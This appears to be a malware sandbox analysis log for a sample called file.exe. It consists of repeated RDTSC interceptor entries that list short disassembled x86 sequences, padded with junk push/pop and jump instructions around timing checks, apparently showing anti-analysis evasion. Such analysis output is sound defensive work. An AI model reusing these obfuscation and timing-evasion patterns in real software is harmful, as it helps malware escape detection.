Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA832B second address: DA833B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jng 00007F7F8931B056h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA8584 second address: DA858A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA858A second address: DA8594 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7F8931B056h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA8594 second address: DA85D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7F8876E205h 0x0000000b jmp 00007F7F8876E202h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F7F8876E200h 0x00000018 push eax 0x00000019 push edx 0x0000001a push esi 0x0000001b pop esi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA85D8 second address: DA85E2 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7F8931B056h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA85E2 second address: DA85E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA9C77 second address: DA9C83 instructions: 0x00000000 rdtsc 0x00000002 js 00007F7F8931B056h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA9C83 second address: DA9C96 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7F8876E1FCh 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DADF42 second address: DADF54 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7F8931B056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007F7F8931B062h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DADF54 second address: DADF5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAE331 second address: DAE337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAE494 second address: DAE498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAE498 second address: DAE4B5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7F8931B061h 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB33AD second address: DB33B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB33B3 second address: DB33DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7F8931B05Ch 0x0000000d jmp 00007F7F8931B063h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB33DA second address: DB33E0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB33E0 second address: DB33F4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7F8931B058h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jnp 00007F7F8931B056h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB33F4 second address: DB33F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB33F8 second address: DB341A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F7F8931B056h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jbe 00007F7F8931B06Eh 0x00000014 push ecx 0x00000015 push esi 0x00000016 pop esi 0x00000017 pop ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a js 00007F7F8931B056h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB341A second address: DB341E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D040F8 second address: D040FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D040FC second address: D0410A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F7F8876E1FCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBAD86 second address: DBAD8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBAD8A second address: DBAD8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBBD57 second address: DBBD74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8931B061h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007F7F8931B05Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBBD74 second address: DBBD95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F7F8876E1F6h 0x00000010 jmp 00007F7F8876E201h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBBD95 second address: DBBDB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8931B062h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edi 0x0000000e pop edi 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD195D second address: DD1963 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD1963 second address: DD1968 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD1968 second address: DD1978 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 ja 00007F7F8876E1F6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE307B second address: DE3080 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEB347 second address: DEB360 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E203h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEB360 second address: DEB365 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEB965 second address: DEB975 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E1FCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEBAA8 second address: DEBABE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8931B05Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEBABE second address: DEBAC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEBAC2 second address: DEBAC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEBC39 second address: DEBC91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F7F8876E1F6h 0x00000009 pushad 0x0000000a popad 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e jmp 00007F7F8876E1FBh 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 jmp 00007F7F8876E202h 0x0000001b pushad 0x0000001c jmp 00007F7F8876E1FFh 0x00000021 jmp 00007F7F8876E203h 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 push ecx 0x0000002a pop ecx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEBDE2 second address: DEBDE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEBDE6 second address: DEBDF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEBDF1 second address: DEBE2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F7F8931B056h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d jmp 00007F7F8931B066h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jc 00007F7F8931B056h 0x0000001c jmp 00007F7F8931B05Eh 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEBE2E second address: DEBE39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F7F8876E1F6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEBE39 second address: DEBE56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7F8931B05Eh 0x00000008 push eax 0x00000009 pop eax 0x0000000a jng 00007F7F8931B056h 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0DE8A second address: D0DE90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF3E2 second address: DEF3EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF3EA second address: DEF3EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF3EE second address: DEF3F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0DAEB second address: E0DB15 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7F8876E1F6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F7F8876E1F6h 0x00000014 jmp 00007F7F8876E206h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E26229 second address: E26260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F8931B060h 0x00000009 pop esi 0x0000000a pop eax 0x0000000b pushad 0x0000000c jno 00007F7F8931B05Ch 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F7F8931B05Fh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25060 second address: E250C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 jmp 00007F7F8876E201h 0x0000000d jmp 00007F7F8876E204h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pushad 0x00000016 jmp 00007F7F8876E207h 0x0000001b ja 00007F7F8876E1F6h 0x00000021 jmp 00007F7F8876E1FCh 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 jnl 00007F7F8876E1F6h 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2521D second address: E25257 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8931B064h 0x00000007 jmp 00007F7F8931B069h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25A81 second address: E25AA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F7F8876E208h 0x0000000b popad 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25C24 second address: E25C2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25F7F second address: E25F85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25F85 second address: E25F90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25F90 second address: E25F96 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2A284 second address: E2A299 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 je 00007F7F8931B058h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2A299 second address: E2A29D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2A342 second address: E2A348 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2A348 second address: E2A34D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2A34D second address: E2A364 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7F8931B062h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2A598 second address: E2A59C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2A8DA second address: E2A8DF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2DDC8 second address: E2DDCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2DDCE second address: E2DDF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F8931B067h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F7F8931B056h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49DFA second address: D49E07 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7F8876E1F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49FD0 second address: D49FD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C806EF second address: 4C8076E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E1FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007F7F8876E206h 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 mov al, ABh 0x00000016 pushfd 0x00000017 jmp 00007F7F8876E203h 0x0000001c or cx, 589Eh 0x00000021 jmp 00007F7F8876E209h 0x00000026 popfd 0x00000027 popad 0x00000028 xchg eax, ecx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c mov edx, 238F7DFEh 0x00000031 call 00007F7F8876E1FFh 0x00000036 pop eax 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8076E second address: 4C80787 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F8931B065h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80787 second address: 4C8078B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8078B second address: 4C80802 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F7F8931B05Ch 0x0000000e xchg eax, ecx 0x0000000f jmp 00007F7F8931B060h 0x00000014 xchg eax, esi 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F7F8931B05Eh 0x0000001c adc ah, FFFFFF88h 0x0000001f jmp 00007F7F8931B05Bh 0x00000024 popfd 0x00000025 movzx esi, dx 0x00000028 popad 0x00000029 push eax 0x0000002a jmp 00007F7F8931B062h 0x0000002f xchg eax, esi 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F7F8931B067h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80802 second address: 4C80852 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7F8876E1FFh 0x00000009 sub ax, 08DEh 0x0000000e jmp 00007F7F8876E209h 0x00000013 popfd 0x00000014 mov edi, ecx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 lea eax, dword ptr [ebp-04h] 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f jmp 00007F7F8876E1FFh 0x00000024 mov bx, si 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80852 second address: 4C8087B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8931B065h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7F8931B05Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C808F8 second address: 4C80918 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E202h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-04h], 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80918 second address: 4C80935 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8931B069h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C809B2 second address: 4C80019 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E1FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d sub esp, 04h 0x00000010 xor ebx, ebx 0x00000012 cmp eax, 00000000h 0x00000015 je 00007F7F8876E37Fh 0x0000001b xor eax, eax 0x0000001d mov dword ptr [esp], 00000000h 0x00000024 mov dword ptr [esp+04h], 00000000h 0x0000002c call 00007F7F8C87710Bh 0x00000031 mov edi, edi 0x00000033 jmp 00007F7F8876E200h 0x00000038 xchg eax, ebp 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c movzx esi, bx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80157 second address: 4C8015D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8015D second address: 4C8017E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E1FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F7F8876E1F9h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8017E second address: 4C80184 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80184 second address: 4C80189 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80189 second address: 4C801CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F7F8931B060h 0x0000000a sub esi, 41D09AC8h 0x00000010 jmp 00007F7F8931B05Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F7F8931B064h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C801CA second address: 4C801E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E1FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C801E2 second address: 4C801EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, cx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C802E5 second address: 4C803B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, dl 0x00000005 pushfd 0x00000006 jmp 00007F7F8876E208h 0x0000000b xor esi, 2424A288h 0x00000011 jmp 00007F7F8876E1FBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, esi 0x0000001b pushad 0x0000001c push esi 0x0000001d pushfd 0x0000001e jmp 00007F7F8876E1FBh 0x00000023 or ch, FFFFFFCEh 0x00000026 jmp 00007F7F8876E209h 0x0000002b popfd 0x0000002c pop eax 0x0000002d popad 0x0000002e push eax 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007F7F8876E203h 0x00000036 xor esi, 7B775CDEh 0x0000003c jmp 00007F7F8876E209h 0x00000041 popfd 0x00000042 movzx ecx, dx 0x00000045 popad 0x00000046 xchg eax, esi 0x00000047 jmp 00007F7F8876E203h 0x0000004c xchg eax, edi 0x0000004d pushad 0x0000004e mov ax, FDABh 0x00000052 movzx esi, dx 0x00000055 popad 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007F7F8876E204h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C803B7 second address: 4C803BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C803BB second address: 4C803C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C803C1 second address: 4C803C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
